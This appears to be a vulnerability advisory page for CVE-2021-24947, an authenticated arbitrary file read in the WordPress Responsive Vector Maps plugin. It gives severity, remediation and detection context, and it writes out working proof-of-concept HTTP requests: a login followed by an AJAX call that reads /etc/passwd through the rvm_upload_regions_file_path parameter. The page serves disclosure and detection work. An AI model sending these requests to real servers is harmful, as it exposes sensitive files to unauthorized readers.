🔙 목록으로 돌아가기

CVE-2021-24947: WordPress Responsive Vector Maps < 6.4.2 - Arbitrary File Read

TitleWordPress Responsive Vector Maps < 6.4.2 - Arbitrary File Read
Authorcckuailong
SeverityMedium
ImpactAn attacker can read sensitive files on the server, potentially leading to unauthorized access or exposure of sensitive information.
RemediationUpdate WordPress Responsive Vector Maps plugin to version 6.4.2 or later to mitigate the vulnerability.
CVSS Score6.5
EPSS Score0.10223
CVE IDCVE-2021-24947
CWE IDCWE-352,CWE-863
Tags cve2021 cve authenticated wpscan lfi wp wordpress wp-plugin lfr thinkupthemes vuln

🔍 Vulnerability Description

WordPress Responsive Vector Maps < 6.4.2 contains an arbitrary file read vulnerability because the plugin does not have proper authorization and validation of the rvm_upload_regions_file_path parameter in the rvm_import_regions AJAX action, allowing any authenticated user to read arbitrary files on the web server.

🌐 HTTP Request

POST /wp-login.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:84.0) Gecko/20100101 Firefox/84.0
Connection: close
Content-Length: 51
Content-Type: application/x-www-form-urlencoded
Cookie: wordpress_test_cookie=WP%20Cookie%20check
Origin: /
Accept-Encoding: gzip

log=XM2MqH&pwd=nxHHWX&wp-submit=Log+In&testcookie=1
GET /wp-admin/admin-ajax.php?action=rvm_import_regions&nonce=5&rvm_mbe_post_id=1&rvm_upload_regions_file_path=/etc/passwd HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 11) AppleWebKit/617.29 (KHTML, like Gecko) Version/17.7 Safari/617.29
Connection: close
Accept-Encoding: gzip

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2021/CVE-2021-24947.yaml

🦈 Packet Capture: ⬇️ Download cve-2021-24947.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A